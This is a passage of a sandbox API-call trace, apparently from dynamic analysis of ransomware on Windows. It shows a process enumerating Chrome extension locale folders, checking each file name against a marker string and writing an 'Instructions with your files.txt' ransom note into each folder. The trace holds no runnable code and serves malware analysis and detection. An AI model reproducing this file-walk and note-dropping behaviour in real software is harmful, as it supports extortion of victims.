[0128.969] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.969] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json") returned 155
[0128.970] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.970] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.970] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\Instructions with your files.txt") returned 174
[0128.970] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.970] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.971] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.971] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.971] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.971] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.971] CloseHandle (hObject=0x134) returned 1
[0128.971] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.971] GetProcessHeap () returned 0x810000
[0128.971] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.971] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
[0128.971] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi") returned 141
[0128.971] GetProcessHeap () returned 0x810000
[0128.971] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.971] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*") returned 143
[0128.972] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.972] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\.") returned 143
[0128.972] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.972] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\..") returned 144
[0128.973] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.973] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json") returned 155
[0128.973] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.973] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.973] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\Instructions with your files.txt") returned 174
[0128.973] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.973] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.974] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.974] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.974] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.974] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.974] CloseHandle (hObject=0x134) returned 1
[0128.975] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.975] GetProcessHeap () returned 0x810000
[0128.975] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.975] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1
[0128.975] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN") returned 144
[0128.975] GetProcessHeap () returned 0x810000
[0128.975] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.975] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*") returned 146
[0128.975] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.975] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\.") returned 146
[0128.975] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.975] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\..") returned 147
[0128.975] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.975] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json") returned 158
[0128.975] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.975] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.975] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\Instructions with your files.txt") returned 177
[0128.975] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.976] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.977] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.977] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.977] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.977] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.977] CloseHandle (hObject=0x134) returned 1
[0128.977] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.977] GetProcessHeap () returned 0x810000
[0128.977] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.977] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1
[0128.977] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW") returned 144
[0128.977] GetProcessHeap () returned 0x810000
[0128.977] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.977] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*") returned 146
[0128.977] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.978] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\.") returned 146
[0128.978] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.978] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\..") returned 147
[0128.978] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.978] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json") returned 158
[0128.978] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.978] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.978] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\Instructions with your files.txt") returned 177
[0128.978] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.979] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.980] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.980] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.980] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.980] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.980] CloseHandle (hObject=0x134) returned 1
[0128.980] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.980] GetProcessHeap () returned 0x810000
[0128.980] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
